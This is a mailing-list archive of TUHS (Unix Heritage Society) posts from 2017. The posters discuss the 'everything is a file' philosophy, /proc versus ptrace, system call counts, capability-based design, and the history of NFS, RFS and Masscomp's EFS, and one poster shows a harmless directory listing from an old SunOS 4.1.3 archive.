Size: 3717 bytes
Desc: S/MIME Cryptographic Signature
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170926/edc1ed34/attachment.bin>

[TUHS] UNIX of choice these days?

[Wesley Parish]

FWIW, I got the idea from finding out what SCSI was supposed to be - a set of devices with everything 
on the same level as a node, controller included. I was reading Tanenbaum's Minix book at the time and 
liked the idea of everything as a file, so "everything as a file" and "every device as a node" just clicked as 
ideal complements - with "everything designed to do one thing (only) and do it well" being self-evident, 
or so I thought. Nanokernels in every device, naturally, with some form of authentication being one of 
the few things built-in, was something else I considered self-evident.

I've thought a lot of things self-evident. :)

FWLIW :)

Wesley Parish

Quoting Larry McVoy <lm at mcvoy.com>:

> So maybe Ron Minnich will remember this. Back in the days of 10Mbit
> ethernet I was pushing for 100Mbit. Part of what I wanted was ethernet
> all the way out to the disk drives. It was a little ahead of its time,
> the idea was to run Linux on the general purpose processor and be able
> to send the questions to the drive rather than slurping all the data
> across and pawing through it on the main CPU. That was part of the
> idea, the other part was power over ethernet and you need more space?
> Just plug in a drive.
> 
> It's been over 20 years since I proposed that and things are starting
> to look up a little. Western Digital made a version of what I wanted,
> an ethernet attached drive with a key/value store on the drive. Not
> quite there but closer. And I just stumbled across this:
> 
> https://en.wikipedia.org/wiki/Data_center_bridging
> 
> Not sure how well that will work but it's interesting that people are
> working on it.
> 
> On Tue, Sep 26, 2017 at 01:42:43PM +1300, Wesley Parish wrote:
> > Yes. I thought it made a lot of sense. 
> > 
> > Quoting Tony Finch <dot at dotat.at>:
> > 
> > > Wesley Parish <wes.parish at paradise.net.nz> wrote:
> > > 
> > > > I once thought of developing a computer where everything from the
> > > core
> > > > functions to the peripherals was a network node. In effect
> replacing
> > > the
> > > > bus. I found references to a Cambridge U (UK) computer system
> that
> > > > purported to do just that but couldn't find any more info on it.
> > > 
> > > The Desk Area Network, perhaps?
> > > http://www.cl.cam.ac.uk/research/srg/dan.html
> > > 
> > > Tony.
> > > -- 
> > > f.anthony.n.finch <dot at dotat.at> http://dotat.at/ - I xn--zr8h
> punycode
> > > Malin, Hebrides: Southeast 3 or 4, increasing 5 or 6, occasionally
> 7
> > > later in
> > > west. Moderate becoming rough later. Fair. Good.
> > > 
> > 
> > 
> > 
> > "I have supposed that he who buys a Method means to learn it." -
> Ferdinand Sor,
> > Method for Guitar
> > 
> > "A verbal contract isn't worth the paper it's written on." -- Samuel
> Goldwyn
> 
> -- 
> ---
> Larry McVoy 	 lm at mcvoy.com http://www.mcvoy.com/lm 
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn

[TUHS] UNIX of choice these days?

[Charles Anthony]

On Sun, Sep 24, 2017 at 4:50 PM, Steve Nickolas <usotsuki at buric.co> wrote:

> On Mon, 25 Sep 2017, Dave Horsfall wrote:
>
> On Sun, 24 Sep 2017, Bakul Shah wrote:
>>
>> There are just a few potential users of /proc and they were already using
>>> other facilities. plus /proc is an optional facility. All this conspired to
>>> make /proc less useful in FreeBSD. Unused code is in danger of being
>>> garbage collected in FreeBSD :-)
>>>
>>
>> Whatever happened to the Unix philosophy of everything looking like a
>> file? Adding more system calls is the Windoze (or perhaps Penguin) way of
>> doing things.
>>
>>
>>
> I once thought of trying to develop an OS where not only was everything a
> file, but programs were in effect functions that could be chained together.
>
> Then decided it was too radical.
>

You were reinventing Multics.

-- Charles
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/fc0ec93f/attachment.html>

[TUHS] UNIX of choice these days?

[Dan Cross]

On Sun, Sep 24, 2017 at 7:36 PM, Dave Horsfall <dave at horsfall.org> wrote:
> On Sun, 24 Sep 2017, Bakul Shah wrote:
>
>> There are just a few potential users of /proc and they were already using
>> other facilities. plus /proc is an optional facility. All this conspired to
>> make /proc less useful in FreeBSD. Unused code is in danger of being garbage
>> collected in FreeBSD :-)
>
>
> Whatever happened to the Unix philosophy of everything looking like a file?
> Adding more system calls is the Windoze (or perhaps Penguin) way of doing
> things.

This is an interesting point (and I think TUHS relevant): I've long
held that the powers-that-be in what has become the "Unix" world have
no more than a cursory interest in the Unix philosophy.

The reasons for this are many. Part of it is lack of exposure to any
other way of doing things (in particular, lack of exposure to a
canonically Unix way of doing things). I've lost track of the number
of people I've tried to show Plan 9-ish ways of doing things to and
the pushback I've gotten: "Filesystems?! That'll NEVER work!" "But
look...it's working right here." "Bah. That's just some goof-ball
research toy." Grrr....

Part of it is that the problems have shifted out from underfoot: Unix
was created in a place and at a time where a certain class of problem
was important; it solved those sorts of problems (and did damn well at
doing so). And while many of those problems are still important today,
entirely new classes of problems are also (if not more) important
these days and Unix did not grow to gracefully accommodate those
problems. Maybe those problems shouldn't matter, but they do; oh well.

The irony, of course, is that Unix basically "won". It's just that it
had to stop being Unix to do so. "He who stares into the abyss...."

        - Dan C.

[TUHS] UNIX of choice these days?

[Grant Taylor]

On 09/24/2017 06:36 PM, Dan Cross wrote:
> "Bah. That's just some goof-ball research toy."

I feel like the same thing was said about Unix at some point very early 
in it's history.



-- 
Grant. . . .
unix || die

[TUHS] UNIX of choice these days?

[Bakul Shah]

On Mon, 25 Sep 2017 09:36:44 +1000 Dave Horsfall <dave at horsfall.org> wrote:
Dave Horsfall writes:
> On Sun, 24 Sep 2017, Bakul Shah wrote:
> 
> > There are just a few potential users of /proc and they were already 
> > using other facilities. plus /proc is an optional facility. All this 
> > conspired to make /proc less useful in FreeBSD. Unused code is in danger 
> > of being garbage collected in FreeBSD :-)
> 
> Whatever happened to the Unix philosophy of everything looking like a 
> file?  Adding more system calls is the Windoze (or perhaps Penguin) way of 
> doing things.

I am afraid people paid lip service to this but not much
changed in this regard at least in the BSD world.  Look at all
the new things done since V7. devfs came in freeBSD 5.0.
Other filesystems were for files or were added based on what
Linux did. "portal" fs was going to be added but I don't even
remember what the point of it was any more. Unionfs was far
more complicated than in plan9 (more useful but also mainly
for files). VFS itself is too storage file centric.

/proc came in too late and it only helped with processes.
sysctl allowed access to other kernel stuff as well.  ptrace &
grubbing around in kernel memory has existed from much earlier
time.

I think a few changes can make Unix much more plan9 like.
Things like: file descriptors are actually capabilities (or
handles, for short) and each process starts with a set of
handles and it can only reach those resources that its handles
allow. It can also gain new handles via operations on existing
handles. Right here you can see that a process is already
sandboxed. You don't need containers or jails! Next use
plan9's 9p or something like it. The point of "everything is a
file" is to provide a discipline -- as opposed providing an
open ended object or class based system.  Once you do that,
user level fiesystems are a hop, skip and a jump away. But
there would be no point in doing this unless you also revamp a
bunch of system utilities.

[TUHS] UNIX of choice these days?

[Tony Finch]

Bakul Shah <bakul at bitblocks.com> wrote:
>
> I think a few changes can make Unix much more plan9 like.
> Things like: file descriptors are actually capabilities (or
> handles, for short) and each process starts with a set of
> handles and it can only reach those resources that its handles
> allow. It can also gain new handles via operations on existing
> handles. Right here you can see that a process is already
> sandboxed. You don't need containers or jails!

You can opt-in to this way of working by using the capsicum API,
http://www.cl.cam.ac.uk/research/security/capsicum/
but that's really intended for programs to discipline themselves rather
than as something pervasive.

Tony.
-- 
f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
Portland, Plymouth, Biscay: Northwest 4 or 5, becoming variable 3 or 4 later.
Moderate or rough, becoming slight or moderate. Mainly fair. Moderate or good.

[TUHS] UNIX of choice these days?

[Bakul Shah]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1659 bytes --]

I have known about capsicum (& have been a fan of capabilities since
late 70s - even used a form of them in my last job!) but my point was to
suggest unix kernel simplification and something like that may fall out
naturally rather than having to be bolted on. Rather than write an OS
from scratch, incrementally evolve what works. Writing something from
scratch is always easier but you also end up relearning the same
lessons + much harder to get acceptance. But an embrace and extend
model ala C to C++ or what GNU programs have done stands a better
chance. Except that I’m suggesting “extending” by simplifying!

> On Sep 25, 2017, at 8:45 AM, Tony Finch <dot at dotat.at> wrote:
> 
> Bakul Shah <bakul at bitblocks.com> wrote:
>> 
>> I think a few changes can make Unix much more plan9 like.
>> Things like: file descriptors are actually capabilities (or
>> handles, for short) and each process starts with a set of
>> handles and it can only reach those resources that its handles
>> allow. It can also gain new handles via operations on existing
>> handles. Right here you can see that a process is already
>> sandboxed. You don't need containers or jails!
> 
> You can opt-in to this way of working by using the capsicum API,
> http://www.cl.cam.ac.uk/research/security/capsicum/
> but that's really intended for programs to discipline themselves rather
> than as something pervasive.
> 
> Tony.
> -- 
> f.anthony.n.finch  <dot at dotat.at>  http://dotat.at/  -  I xn--zr8h punycode
> Portland, Plymouth, Biscay: Northwest 4 or 5, becoming variable 3 or 4 later.
> Moderate or rough, becoming slight or moderate. Mainly fair. Moderate or good.

[TUHS] UNIX of choice these days?

[Andy Kosela]

On Monday, September 25, 2017, Dave Horsfall <dave at horsfall.org> wrote:

> On Sun, 24 Sep 2017, Bakul Shah wrote:
>
> There are just a few potential users of /proc and they were already using
>> other facilities. plus /proc is an optional facility. All this conspired to
>> make /proc less useful in FreeBSD. Unused code is in danger of being
>> garbage collected in FreeBSD :-)
>>
>
> Whatever happened to the Unix philosophy of everything looking like a
> file?  Adding more system calls is the Windoze (or perhaps Penguin) way of
> doing things.
>

Actually FreeBSD has much more system calls than Linux -- around 540 as
compared to around 300 the last time I looked.

To give a fair perspective -- both UNIX V7 and Plan 9 have around 50 system
calls.

And Windoze 7 has more than 700...

--Andy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/31bb2a8e/attachment.html>

[TUHS] UNIX of choice these days?

[Cory Smelosky]

Where does SysVR2 fit in number of syscalls?

I spent time patching them several months ago...

Sent from my iPhone

> On Sep 25, 2017, at 00:41, Andy Kosela <akosela at andykosela.com> wrote:
> 
> 
> 
>> On Monday, September 25, 2017, Dave Horsfall <dave at horsfall.org> wrote:
>> On Sun, 24 Sep 2017, Bakul Shah wrote:
>> 
>>> There are just a few potential users of /proc and they were already using other facilities. plus /proc is an optional facility. All this conspired to make /proc less useful in FreeBSD. Unused code is in danger of being garbage collected in FreeBSD :-)
>> 
>> Whatever happened to the Unix philosophy of everything looking like a file?  Adding more system calls is the Windoze (or perhaps Penguin) way of doing things.
> 
> Actually FreeBSD has much more system calls than Linux -- around 540 as compared to around 300 the last time I looked.
> 
> To give a fair perspective -- both UNIX V7 and Plan 9 have around 50 system calls.
> 
> And Windoze 7 has more than 700...
> 
> --Andy
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/5322ee04/attachment.html>

[TUHS] UNIX of choice these days?

[Andy Kosela]

On Monday, September 25, 2017, Cory Smelosky <b4 at gewt.net
<javascript:_e(%7B%7D,'cvml','b4 at gewt.net');>> wrote:

> Where does SysVR2 fit in number of syscalls?
>
> I spent time patching them several months ago...
>
> Sent from my iPhone
>

Not sure about SVR2, but SVR4 had around 120...

--Andy

>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170925/cc1580e1/attachment.html>

[TUHS] UNIX of choice these days?

[Steve Nickolas]

On Mon, 25 Sep 2017, Andy Kosela wrote:

> On Monday, September 25, 2017, Dave Horsfall <dave at horsfall.org> wrote:
>
>> On Sun, 24 Sep 2017, Bakul Shah wrote:
>>
>> There are just a few potential users of /proc and they were already using
>>> other facilities. plus /proc is an optional facility. All this conspired to
>>> make /proc less useful in FreeBSD. Unused code is in danger of being
>>> garbage collected in FreeBSD :-)
>>>
>>
>> Whatever happened to the Unix philosophy of everything looking like a
>> file?  Adding more system calls is the Windoze (or perhaps Penguin) way of
>> doing things.
>>
>
> Actually FreeBSD has much more system calls than Linux -- around 540 as
> compared to around 300 the last time I looked.
>
> To give a fair perspective -- both UNIX V7 and Plan 9 have around 50 system
> calls.
>
> And Windoze 7 has more than 700...
>
> --Andy
>

If I were designing an OS, only the bare minimum number of system calls 
would be implemented in the kernel (stuff like open, close, seek, read, 
write, and create/kill process) and everything else would be implemented 
in library... I don't know how that would stack up against Unix in the 
day, or *x these days, but I daresay it probably would have fewer system 
calls than MS-DOS 2.0.

-uso.

[TUHS] UNIX of choice these days?

[Derek Fawcus]

On Mon, Sep 25, 2017 at 05:58:23AM -0400, Steve Nickolas wrote:
> 
> If I were designing an OS, only the bare minimum number of system calls 
> would be implemented in the kernel (stuff like open, close, seek, read, 
> write, and create/kill process) and everything else would be implemented 
> in library... I don't know how that would stack up against Unix in the 
> day, or *x these days, but I daresay it probably would have fewer system 
> calls than MS-DOS 2.0.

Not all later developed OS's had loads of calls.

One I used in the 90's (FlexOS) only had 40, having started around 84/85?
with 41 (when known as Concurrent DOS-286).

DF

[TUHS] UNIX of choice these days?

[Andrew Warkentin]

On 9/25/17, Steve Nickolas <usotsuki at buric.co> wrote:
>
> If I were designing an OS, only the bare minimum number of system calls
> would be implemented in the kernel (stuff like open, close, seek, read,
> write, and create/kill process) and everything else would be implemented
> in library... I don't know how that would stack up against Unix in the
> day, or *x these days, but I daresay it probably would have fewer system
> calls than MS-DOS 2.0.
>

That's basically the way the OS I'm writing will work. Actually it
will go further than that. It will be microkernel-based, with read,
seek, write, fcntl, and a function for servers to return an error
status (there will also be a "clunk" message type but it will only be
generated by the VFS when the last process closes a file and won't
have a corresponding function) as the only true primitives. There will
be a couple extra variants of read and write that map onto L4 IPC more
closely, although they will interoperate with the traditional
versions. open, close, stat, unlink, fork, _exit, some
pthreads-related functions, and several other (mostly file-related)
functions will appear to be primitives although they will be
implemented as RPC messages over a permanently-open anonymous FD
(connected to the process server, which will implement memory/process
management, the basic VFS, procfs, and a few variants of in-memory
filesystems). All other "system calls" will be implemented on top of
the normal filesystem (signals, security, and process state stuff will
use procfs).

[TUHS] UNIX of choice these days?

[Christian Barthel]

ron minnich <rminnich at gmail.com> writes:

> [1:text/plain Hide]
>
> ptrace replaces procfs? Wow, that's a disappointing turn of events. It's
> also against the flow of thought in the Unix community I knew in 1980. If
> somebody has any of the old ca-1980 BSD manuals, you should find a BUGS
> section on ptrace advocating a move to a file-system-like interface. I
> always assumed ken wrote that little note when he was visiting UCB --
> anybody know?

I am also surprised to hear that ptrace replaces procfs.  In the 4.4BSD
Book[1] is a chapter about process debugging (chapter 4) with ptrace and
it says:

``The ptrace facility is inefficient for three reasons.  [...]''

And later, it mentions the proc filesystem: 

``To address these problems, 4.4BSD added a /proc filesystem, similar to
the one found in UNIX Eight Edition [Killian, 1984]. [...]''

[1] The Design and Implementation of the 4.4BSD Operating System,
M.K. McKusic, Keith Bostic, Michael J Karels, and John Quarterman,
Addison-Wesley, Reading, 1996, ISBN 0-201-54979-4. 

Kind regards, 
Christian

[TUHS] UNIX of choice these days?

[Clem Cole]

BTW the time it was added (4.4), most of the tools did not use it.   Which
was sad... and Ron points out.

On Sun, Sep 24, 2017 at 11:26 AM, Christian Barthel <bch at online.de> wrote:

> ron minnich <rminnich at gmail.com> writes:
>
> > [1:text/plain Hide]
> >
> > ptrace replaces procfs? Wow, that's a disappointing turn of events. It's
> > also against the flow of thought in the Unix community I knew in 1980. If
> > somebody has any of the old ca-1980 BSD manuals, you should find a BUGS
> > section on ptrace advocating a move to a file-system-like interface. I
> > always assumed ken wrote that little note when he was visiting UCB --
> > anybody know?
>
> I am also surprised to hear that ptrace replaces procfs.  In the 4.4BSD
> Book[1] is a chapter about process debugging (chapter 4) with ptrace and
> it says:
>
> ``The ptrace facility is inefficient for three reasons.  [...]''
>
> And later, it mentions the proc filesystem:
>
> ``To address these problems, 4.4BSD added a /proc filesystem, similar to
> the one found in UNIX Eight Edition [Killian, 1984]. [...]''
>
> [1] The Design and Implementation of the 4.4BSD Operating System,
> M.K. McKusic, Keith Bostic, Michael J Karels, and John Quarterman,
> Addison-Wesley, Reading, 1996, ISBN 0-201-54979-4.
>
> Kind regards,
> Christian
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/d2d2b13e/attachment.html>

[TUHS] UNIX of choice these days?

[Clem Cole]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 3052 bytes --]

On Sun, Sep 24, 2017 at 10:02 AM, ron minnich <rminnich at gmail.com> wrote:

> ptrace replaces procfs? Wow, that's a disappointing turn of events. It's
> also against the flow of thought in the Unix community I knew in 1980. If
> somebody has any of the old ca-1980 BSD manuals, you should find a BUGS
> section on ptrace advocating a move to a file-system-like interface. I
> always assumed ken wrote that little note when he was visiting UCB --
> anybody know?
>
​Need to check the UCB SCCS deltas, but I doubt it.  Ken was there before
​/proc appeared in Eight Edition.
ptrace was a hack, I don't think Dennis was particularly happy with it.  It
was sprt of considered a weak link.




>
> Plan 9 implements process debug via /proc, and several debuggers use that
> interface
>
​Yes, pretty much post Eight  Edition, /proc becomes the defacto interface.​
Looking back on the time, I think two things go in its way which were both
more political than technical.
By the time it appears in the Research kernel, there is still not an agreed
upon file system layering.   The vfs-layer would start to get argued about,
but it wasn't there [ more in a minute ].

So file systems (like /proc) were still more ad-hoc interfaces.

Second because either edition was not released the same way eailier
versions were, and AT&T was trying to use Summit as their IP release
mechanism; it got caught in the 'UNIX Wars.'    I really think as much as
BSD was making great strides, if the new features of Eight had been made
available to BSD, many of them (like /proc) would have been integrated and
if had been integrsated earilier, more of the BSD tools (like debugger, et
al) would have relied on it and if that had occured; it would have been
better integrated (like it is in Linux today).




> ​....
>
> The file system model is powerful. The strace based on /proc was a few
> dozen lines.
>
​Amen... ​



​To me, the really important thing SMI did by giving away NFS, was to start
the FS laying argument.   What we ended up with is not perfect, its a
compromise (I wish the stacking model was better), but we started to have
the discussion.​   But because of NFS, we ended up getting a lot of
different file system options; which previously we did not have.   It made
us really think through what were 'meta' functions that were FS
independant, 'virtual' functions what span all FS implementasions, and what
were 'physical' (implementation) specific file system functions.

NFS really should be credited for forcing that clean up.

Similarly, a few of us tried (and failed) to have the process layer
discussion -- consider the Locus vprocs work.   It's really too bad, we
don't have that layer in any of the UNIX kernels today, it really make
process control, migration, etc a lot cleaner; just as adding a file system
layer did.

But that's a war, I fought and lost....
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/cb4aa21c/attachment-0001.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[Arthur Krewat]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1835 bytes --]

Where does RFS (AT&T System III) fit in all of this?

I used it for a while between a SunOS 4.1.3 box and a PC running AT&T 
SVR4.2 (Consensys) because the client-side NFS was buggy on the SVR4.2 
side. This was in the days when I ran a UUCP node (kilowatt) in the 
early 90's and needed access from the PC to the "large" (5.25" FH 1GB) 
disk on the SunOS machine. It worked, that I can say.

Eventually, I swapped it around after getting an Adaptec SCSI controller 
for the PC - turned out the server-side NFS on this particular SVR4.2 
was fine.

Just looking for history on RFS if any.

thanks!

On 9/24/2017 1:33 PM, Clem Cole wrote:
>
> ​To me, the really important thing SMI did by giving away NFS, was to 
> start the FS laying argument.   What we ended up with is not perfect, 
> its a compromise (I wish the stacking model was better), but we 
> started to have the discussion.​   But because of NFS, we ended up 
> getting a lot of different file system options; which previously we 
> did not have.   It made us really think through what were 'meta' 
> functions that were FS independant, 'virtual' functions what span all 
> FS implementasions, and what were 'physical' (implementation) specific 
> file system functions.
>
> NFS really should be credited for forcing that clean up.
>
> Similarly, a few of us tried (and failed) to have the process layer 
> discussion -- consider the Locus vprocs work.   It's really too bad, 
> we don't have that layer in any of the UNIX kernels today, it really 
> make process control, migration, etc a lot cleaner; just as adding a 
> file system layer did.
>
> But that's a war, I fought and lost....
>
>
>

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/feb02688/attachment.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[Clem Cole]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 2784 bytes --]

On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net> wrote:

> Where does RFS (AT&T System III) fit in all of this?
>
​Well it was not in PWB 3.0 - aka System ​III.




>
> ​....
>
>
> Just looking for history on RFS if any.
>
David Arnovitz's work -- Dave worked for us at Masscomp in Atlanta​
afterwards.  IIRC Summit pushed it out via System V, it was not part of
System III (David did not even work for BTL when System II was released).

RFS was based on ideas Peter had used in Eighth Edition file system.  When
we did EFS @ Masscomp, Perry Flinn and I were both aware of Peter's work (I
had talked to him a few times).  As we finished it, we hired Dave in
Atlanta and told me about us a little about RFS although it had not yet
been released.   If you look, my EFS paper was the alternate paper given
against Rusty's when the NFS paper published - difference - Masscomp would
not give away EFS - different story].

Anyway, Dave's RFS used Peter's file system switch that was in
Eighth Edition.  I used something similar for EFS.   Which was not as clean
as Steve Klieman's VFS layer; which I think Sun did right.   But NFS got
the whole stateless thing wrong which I was pleased over the years to see I
was right (the whole point of the EFS paper was if it's a real UNIX file
system, then their will be shared state and its how do you recover from an
error).

RFS, EFS and Weinberger's FS all did stateful recovery.  RFS used a
function ship model IIRC.  I did not get to look at the code until long
after it was released so I never studied it in detail and I never ran it.
But he had Peter's work available to him, so I suspect there is a lot
common ideas.  I think Peter used function shipping also.    [EFS did not,
it was more ad hoc as what we shipped and what we did not.   That was a
performance thing for us as we had Apollo down the street and were very,
very concerned with what Ageis/Domain could do].

That said, NFS had a really simple model, which (in practice) was good
enough for many things and more importantly, Sun gave the code away and
made it a standard.  So the old less is more; Christensen disruption theory
of technology came through.

Masscomp (and Apollo with Domain) both had 'better' distributed file
systems, but 'lost' because (like DEC were many of their people -
particularly in marketing - came) - did not get it.   Tried to keep to
closed like VMS et al... and it ultimately died.  NFS was 'free' and did
the job.   What was there not to like.

In hindsight, I wish I could have understood that then.  Cudo's the Kleiman
for what he did!

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/b59b4cb6/attachment-0001.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[Arthur Krewat]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 564 bytes --]



On 9/24/2017 3:54 PM, Clem Cole wrote:
>
>
> On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net 
> <mailto:krewat at kilonet.net>> wrote:
>
>     Where does RFS (AT&T System III) fit in all of this?
>
> ​Well it was not in PWB 3.0 - aka System ​III.
>

Sorry, Clem, it was System V R3 - I read this, and then misspoke: 
https://en.wikipedia.org/wiki/Remote_File_Sharing


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/defe4bce/attachment.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[Arthur Krewat]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 3077 bytes --]

Also, Clem when you say "function shipping" - that sounds like RPC.



On 9/24/2017 3:54 PM, Clem Cole wrote:
>
>
> On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net 
> <mailto:krewat at kilonet.net>> wrote:
>
>     Where does RFS (AT&T System III) fit in all of this?
>
> ​Well it was not in PWB 3.0 - aka System ​III.
>
>
>
>     ​....
>
>
>     Just looking for history on RFS if any.
>
> David Arnovitz's work -- Dave worked for us at Masscomp in Atlanta​ 
> afterwards.  IIRC Summit pushed it out via System V, it was not part 
> of System III (David did not even work for BTL when System II was 
> released).
>
> RFS was based on ideas Peter had used in Eighth Edition file system. 
> When we did EFS @ Masscomp,Perry Flinn and I were both aware of 
> Peter's work (I had talked to him a few times).  As we finished it, we 
> hired Dave in Atlanta and told me about us a little about RFS although 
> it had not yet been released.   If you look, my EFS paper was the 
> alternate paper given against Rusty's when the NFS paper published - 
> difference - Masscomp would not give away EFS - different story].
>
> Anyway, Dave's RFS used Peter's file system switch that was in 
> Eighth Edition.  I used something similar for EFS. Which was not as 
> clean as Steve Klieman's VFS layer; which I think Sun did right.   But 
> NFS got the whole stateless thing wrong which I was pleased over the 
> years to see I was right (the whole point of the EFS paper was if it's 
> a real UNIX file system, then their will be shared state and its how 
> do you recover from an error).
>
> RFS, EFS and Weinberger's FS all did stateful recovery.  RFS used a 
> function ship model IIRC.  I did not get to look at the code until 
> long after it was released so I never studied it in detail and I never 
> ran it.   But he had Peter's work available to him, so I suspect there 
> is a lot common ideas.  I think Peter used function shipping also.   
>  [EFS did not, it was more ad hoc as what we shipped and what we did 
> not.   That was a performance thing for us as we had Apollo down the 
> street and were very, very concerned with what Ageis/Domain could do].
>
> That said, NFS had a really simple model, which (in practice) was good 
> enough for many things and more importantly, Sun gave the code away 
> and made it a standard.  So the old less is more; Christensen 
> disruption theory of technology came through.
>
> Masscomp (and Apollo with Domain) both had 'better' distributed file 
> systems, but 'lost' because (like DEC were many of their people - 
> particularly in marketing - came) - did not get it.   Tried to keep to 
> closed like VMS et al... and it ultimately died.  NFS was 'free' and 
> did the job.   What was there not to like.
>
> In hindsight, I wish I could have understood that then.  Cudo's the 
> Kleiman for what he did!
>
> Clem

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/9243054a/attachment.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[Clem Cole]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 491 bytes --]

On Sun, Sep 24, 2017 at 6:08 PM, Arthur Krewat <krewat at kilonet.net> wrote:

> Also, Clem when you say "function shipping" - that sounds like RPC.
>

​Similar -- I think of  function shipping are the technique of sending
computation to the data rather than marshaling together/bringing the data
to the computation.
 ​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/a0765107/attachment.html>

[TUHS] RFS was: Re: UNIX of choice these days?

[arnold]

Clem Cole <clemc at ccc.com> wrote:

> On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net> wrote:
>
> > Where does RFS (AT&T System III) fit in all of this?
> >
> Well it was not in PWB 3.0 - aka System III.

It was in System V Release 3, thus the confusion.  Sun integrated it
into SunOS 4.0 (IIRC) and then pulled it out around 4.1.something. It
was for sure gone from 4.1.3 and 4.1.4.

> > Just looking for history on RFS if any.
> >
> David Arnovitz's work -- Dave worked for us at Masscomp in Atlanta
> afterwards.

Interesting!  I never knew that he was involved with it. I don't think
his name was on any of the USENIX papers.

He and I grew up on the same street, and both sets of parents still
live there.  He later (with Perry Flinn) went on to found Secureware
and they did quite well for themselves in the 90s.

> RFS was based on ideas Peter had used in Eighth Edition file system.  When
> we did EFS @ Masscomp, Perry Flinn and I were both aware of Peter's work ...

I briefly overlapped Perry at Georgia Tech. He was one of the three
major developers of the Georgia Tech Software Tools Subsystem for Pr1me
Computers that I later was involved with.  A very bright guy; no idea
where he is now.

Arnold

[TUHS] RFS was: Re: UNIX of choice these days?

[Arthur Krewat]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1743 bytes --]



On 9/27/2017 4:44 AM, arnold at skeeve.com wrote:
> Clem Cole <clemc at ccc.com> wrote:
>
>>
>> Well it was not in PWB 3.0 - aka System III.
> It was in System V Release 3, thus the confusion.  Sun integrated it
> into SunOS 4.0 (IIRC) and then pulled it out around 4.1.something. It
> was for sure gone from 4.1.3 and 4.1.4.
>

Not true, sorry ;) The host irises was my SunOS machine that I used for 
USENET news because it had 1GB SCSI disk on it. The host kilowatt was 
the modem front-end for my BBS and did all the UUCP processing. I was 
...!mcdhup!kilowatt in the early 90's.

RFS was included with SunOS 4.1.3 that I installed on irises. See below, 
motd shows SunOS release, and /usr/etc/mount* are all dated the same 
day, so it was installed from the SunOS 4.1.3 distribution at the time 
of initial install.

 From my archives:

medusa# pwd
/export/archive/tapes/irises.3/a2
medusa# cat etc/motd
SunOS Release 4.1.3 (IRISES) #4: Sun Mar 6 15:14:38 EST 1994

This is irises, a sister to kilowatt. It is a Sun Sparc IPC. I hope to
move to this platform in the near future, but for now, it has to be a
conglomerate.

medusa# ls -l usr/etc/mount*
-rwxr-xr-x   1 root     staff     163840 Jul 23  1992 usr/etc/mount
-rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_hsfs
-rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_lo
-rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_pcfs
-rwxr-xr-x   1 root     staff      65814 Jul 23  1992 usr/etc/mount_rfs
-rwxr-xr-x   1 root     staff      57344 Jul 23  1992 usr/etc/mount_tfs
-rwxr-xr-x   1 root     staff      16384 Jul 23  1992 usr/etc/mount_tmp

[TUHS] RFS was: Re: UNIX of choice these days?

[arnold]

Arthur Krewat <krewat at kilonet.net> wrote:

> On 9/27/2017 4:44 AM, arnold at skeeve.com wrote:
> > It was in System V Release 3, thus the confusion.  Sun integrated it
> > into SunOS 4.0 (IIRC) and then pulled it out around 4.1.something. It
> > was for sure gone from 4.1.3 and 4.1.4.
>
> Not true, sorry ;)

You're right. It was in some version of Solaris 5.x that they dropped it.

It was so looooong ago ...

Thanks,

Arnold

[TUHS] RFS was: Re: UNIX of choice these days?

[Mantas Mikulėnas]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain, Size: 1026 bytes --]

